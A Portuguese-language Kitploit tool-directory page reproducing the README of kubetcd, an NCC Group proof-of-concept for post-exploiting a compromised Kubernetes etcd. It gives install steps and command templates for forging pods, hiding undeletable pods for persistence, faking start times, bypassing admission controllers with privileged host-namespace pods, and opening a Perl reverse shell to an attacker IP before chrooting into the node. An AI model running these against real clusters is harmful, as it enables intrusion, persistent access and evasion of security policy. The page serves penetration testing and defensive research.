Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/nccgroup/kubetcd
Escalada de PrivilégiosSegurança de ContêineresMecanismos de PersistênciaMovimento LateralPós-ExploraçãoTestes de PenetraçãoComando e ControleRed Teaming
GitHubnccgroup/kubetcd

kubetcd

Pós-explore um etcd comprometido, obtenha persistência e shell remoto nos nós.

Ver Repositório
947há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Kubetcd

Wrapper de https://github.com/jpbetz/auger.

Automatiza a implantação de pods escrevendo diretamente no etcd. Inclui múltiplas funções para pós-exploração de etcds comprometidos.

Aviso legal

[!WARNING]
Este é um PoC, não o utilize em ambiente de produção. Escrever diretamente no etcd pode resultar em inconsistências ou dados corrompidos, o que pode fazer com que a lógica do kube-apiserver falhe ao recuperar ou manipular dados do etcd. Ambientes de teste com vários nós podem ser implantados com KIND

Porquê?

O repositório principal, auger, fornece as principais funcionalidades para serializar e desserializar entradas em protobuffer no etcd. O Kubetcd é um PoC que envolve essas funcionalidades para aproximar o etcdctl do cliente normal kubectl. Num cenário com um etcd comprometido, o kubetcd tentaria utilizar pods manipulados e privilegiados para obter persistência e acesso privilegiado a qualquer um/todos os host(s) do cluster. Note que o kubetcd atualmente só suporta operações com pods.

Requisitos

O Kubetcd obtém os certificados e chaves para autenticar contra o serviço etcd nos seguintes caminhos padrão:

  • /etc/kubernetes/pki/etcd/ca.crt
  • /etc/kubernetes/pki/etcd/server.crt
  • /etc/kubernetes/pki/etcd/server.key (isto é apenas legível por root)

Além disso, o endpoint padrão está definido como 127.0.0.1:2379

Todos os valores padrão anteriores podem ser alterados através de parâmetros.

Além disso, o etcdctl, o cliente para etcd, deve estar instalado.

root@kitploit:~
sudo apt install etcd-client

Instalação

Clone o repositório e compile:

root@kitploit:~
git clone https://github.com/nccgroup/kubetcd
cd kubetcd
go build -buildvcs=false .

Problemas conhecidos

Pode encontrar o seguinte erro:

root@kitploit:~
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./kubetcd)
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./kubetcd)

Se for o caso, compile kubetcd com Golang 1.19.

Consulte https://github.com/jpbetz/auger para as principais funcionalidades do auger, que continuam disponíveis. Este README detalhará apenas as novas funcionalidades adicionadas ao wrapper:


Executando o kubetcd

root@kitploit:~
./kubetcd -h

Obter objetos

root@kitploit:~
./kubetcd get pods
#or
./kubetcd get pod <name> -n <namespace>

Criar um novo pod

templateName deve ser um pod em execução no namespace padrão:

root@kitploit:~
./kubetcd create pod <name> -t <templateName>

Pode sobrescrever um pod em execução simplesmente definindo os mesmos valores para name e templateName.

Alterar a imagem

root@kitploit:~
./kubetcd create pod <name> -t <templateName> --image <image>

Adulterar o horário de início

root@kitploit:~
./kubetcd create pod <name> -t <templateName> --time "2000-01-31T00:00:00Z"

Persistência através de dados inconsistentes

O ETCD grava novos pods em /registry/pods/<namespace>/<name>, mas os campos namespace e name podem ser adulterados. Dessa forma, esses pods podem ser listados com kubectl, mas não podem ser excluídos.

root@kitploit:~
./kubetcd create pod <name> -t <templateName> -p <randomentry>             
#Will add an entry in /registry/pods/default/<randomentry>
#Or tamperede namespace
./kubetcd create pod <name> -t <templateName> -n <namespace> --fake-ns
#Will add an entry in /registry/pods/<namespace>/<randomentry> but it will run in default namespace

Implantar em um nó específico

Implante a carga de trabalho em qualquer nó à vontade:

root@kitploit:~
./kubetcd get nodes
./kubetcd create pod <name> -t <templatename> --node <nodeName>

Contornar os AdmissionControllers

Implante pods privilegiados em namespaces restritos. Isso contornaria AdmissionControllers integrados, como PSPs, PSAs, ou qualquer outra política baseada em políticas personalizadas, como OPA Gatekeer ou Kyverno:

root@kitploit:~
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P 

A flag -P definirá qualquer pod como privileged e compartilhará os namespaces network, PID e IPC com o nó subjacente.

Reverse shell

Implante pods privilegiados em namespaces restritos e obtenha um shell remoto:

root@kitploit:~
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P -r <IP>:<PORT>

Isso iniciará um reverse shell em perl, que está presente em várias imagens por padrão. Quando tiver o reverse shell, altere o filesystem raiz com chroot /host para obter acesso total ao nó.

TODO

  • Adicionar suporte para outros binários -não apenas perl- para obter shell remoto
  • Adicionar suporte para usar templates de outros namespaces que não o padrão
  • Adicionar suporte para criar/obter/excluir elementos fora do branch corev1
Baixar ferramenta